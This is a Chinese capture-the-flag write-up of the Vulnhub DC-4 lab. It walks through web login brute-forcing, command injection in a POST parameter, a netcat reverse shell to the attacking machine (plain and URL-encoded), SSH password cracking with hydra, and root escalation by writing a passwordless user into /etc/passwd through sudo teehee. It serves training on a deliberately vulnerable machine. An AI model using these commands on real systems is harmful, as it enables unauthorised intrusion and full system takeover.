[【渗透测试】Vulnhub DC 4]

渗透环境环境准备

DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip

1
2
3
攻击机:192.168.207.130

靶机:192.168.207.133
1
2
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
目标:获取目标靶机root目录下的flag

进行渗透

一、 获取端口信息

1. 主机扫描
1
arp-scan -l

继续

2. 端口扫描
1
nmap -sS -p- 192.168.207.133

3.目录查找
1
dirsearch -u 192.168.207.133 -e * 

没有什么特殊的去看看网站

1
192.168.207.133

二. 渗透过程

1. 用户登入爆破

随便输入用户名和密码,点击登入,用burpsuite抓包

猜测用户名是admin,密码不知道爆破看看

bp抓包

爆破看看使用密码库

密码库可以去这里下载

弱口令密码

爆破结果:

查看回显报文最长的包,得到密码happy,

综上所述:可知道

username: admin

password:happy

用该密码登入后继续点击submit

登录成功

来到命令执行界面

2. 任意命令执行

burpsuite抓包,点击run,右键发到重放器

界面如下:

我们对radio进行测试

1
radio=id

我们可以知道,通过修改了POST传参radio的值达到了任意命令执行的效果

3.反弹shell()

通过尝试,不能echo命令写入木马,只好换一种方法进行反弹shell,这里试过了bash反弹不了,只能用nc反弹shell,参考Linux下几种反弹Shell方法的总结与理解 - FreeBuf网络安全行业门户

用kali监听8848端口(自定义)

1
nc -lvvp 8848

然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上

1
nc -e /bin/bash 192.168.207.130 8848

先将其URL编码(好像是方便传参吧)

1
%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%32%30%37%2e%31%33%30%20%38%38%34%38

发包,放包

连接上了

使用python获得交互式界面

1
python -c 'import pty;pty.spawn("/bin/bash")'

www-data 是目前的用户

目的是防止shell断开

这个靶有两种方法:
1.teehee提权:

首先

进入home目录

1
ls     //查看有哪些文件

都试试看之后发现只有jim文件下面有我们要的东西


这里我们发现了backups文件这是备份文件去看看

一堆密码和 几句话(根据文件名提示,应该是之前用过的老密码)

使用[超级口令检查工具](Release 超级弱口令检查工具V1.0 Beta28 20190715 · shack2/SNETCracker · GitHub)去爆破

把上面的密码复制,然后创建一个txt文件进行爆破

也可以使用命令

1
hydra -l jim -P '/home/kali/桌面/6.txt'   ssh://192.168.207.133 

1
[22][ssh] host: 192.168.207.133   login: jim   password: jibril04

接着ssh远程登入一下,jim:jibril04

1
ssh jim@192.168.207.133

进入成功

接着尝试打开刚才反弹shell打开不了的文件mbox

说我有一封来自root用户的信,接着我们去邮箱找一下/var/spool/mail

密码已有

1
2
3
用户名:charles

密码:^xHhA&hvim0y

连接

1
ssh charles@192.168.207.133

两种方法都可以

1
2
3
sudo -l      //查看用户权限

id

发现了个root权限的命令teehee(小型文本编辑器),可以利用这个命令进行提权

1
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd  #建议手打命令,复制粘贴可能不管用

可参考/etc/passwd文件解刨

简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果,文件格式为

1
[注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]

口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限

利用管道符配合teehee命令,在passwd文件里写入一个不用密码root权限的用户test

提权成功

找flag
1
2
cd /root
cat flag.txt

flag已找到。